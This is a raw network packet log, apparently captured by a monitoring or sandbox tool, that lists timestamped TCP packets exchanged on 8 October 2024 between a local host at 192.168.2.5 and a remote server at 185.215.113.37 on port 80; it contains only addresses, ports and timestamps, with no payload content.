Oct 8, 2024 03:22:16.710369110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.710381031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710396051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710406065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710418940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.710427999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710431099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.710438013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710448027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710458040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710463047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710468054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710474014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710495949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.710520029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.710551023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710588932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.711292982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.711361885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.711427927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.711436033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.711443901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.711450100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.711453915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.711462975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.711513996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.711677074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.711677074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.711863995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712141991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712212086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712275028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712282896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712291956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712302923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712317944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712351084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712373972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712382078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712390900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712409973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712428093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712428093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712444067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712464094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712469101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712477922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712486982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712497950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712527037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712588072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712601900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712613106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712621927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712626934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712631941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712641954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712657928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712657928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712685108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712687016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712694883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712703943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712724924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712760925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.712863922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.712894917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.713783026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713793039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713803053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713846922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.713859081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713869095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713871002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.713879108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713891029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713912964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.713913918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713922977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713932991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.713937998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.713954926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.713974953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.713999033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714011908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714023113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714051008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714065075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714127064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714138985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714149952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714159966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714169025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714174032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714179039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714183092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714190960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714230061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714256048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714266062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714284897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714293003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714346886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714358091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714368105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714386940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714386940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714418888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714438915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714448929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714461088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714472055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714479923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714482069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714509010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714545965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.714571953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714582920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714593887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714603901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714615107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714626074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714706898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714718103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714728117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714739084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714812994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714823008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714833975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714844942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714854956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.714951992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715214014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715270996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715291023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715301037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715337992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715348005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715358019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715367079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715378046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715380907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715394974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715396881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715429068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715658903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715712070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715719938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715729952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715759039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715781927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715781927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715787888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715818882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715826035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715853930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715864897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715869904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715900898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715900898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.715931892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715941906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.715960026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.716023922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.716034889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.716044903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.716054916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.716065884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.716305017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.796241999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.796256065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.796267033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.796309948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.796314955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.796324968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.796336889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.796341896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.796348095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.796387911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.796396017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.796401024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.796444893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797029972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797039986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797125101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797142982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797169924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797180891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797208071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797208071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797277927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797288895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797298908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797308922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797319889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797347069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797370911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797419071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797430992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797441959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797452927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797473907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797499895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797508955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797512054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797523975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.797564030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.797564030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.798459053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.798470020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.798480988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.798502922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.798549891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.798564911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.798569918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.798599005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.798599005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.798621893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.798645973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.798696995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799079895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799098015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799108982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799165964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799165964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799165964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799238920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799251080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799261093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799273014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799283028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799294949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799294949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799328089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799328089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799356937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799365997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799374104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799403906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799415112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799429893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799444914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799474955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799494028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799504995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799515009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799525976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799534082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799534082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799539089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799581051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799581051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799596071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799653053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799662113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799671888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799683094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799691916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799691916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799693108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.799720049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.799751997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.800671101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.800911903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.800955057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.800955057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.926826954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.926884890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.926923990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.926959038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.051495075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.051513910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.051525116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.051564932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.051887989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.176048994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.176064968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.176074028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.176079035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.176109076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.176512003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.300270081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.300318956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.300328016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.300333023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.300390959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.300390959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.300411940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.300422907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.300431967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.300486088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.300486088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.426810980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.426825047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.426835060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.426919937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.426954985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.426964998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.426975012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.427006006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.427042007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.427166939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.427206993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.427223921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.427367926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.512644053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.512811899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.512825966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.512927055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.551858902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.551872015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.551882029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.551892996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.551985979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.552464962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.552483082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.552491903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.552531004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.552566051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.553008080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.553018093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.553030014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.553040981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.553059101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.553095102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.553160906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.553209066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.554533958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.554549932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.554588079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.554611921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.554677963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.554722071 CEST	49704	80	192.168.2.5	185.215.113.37
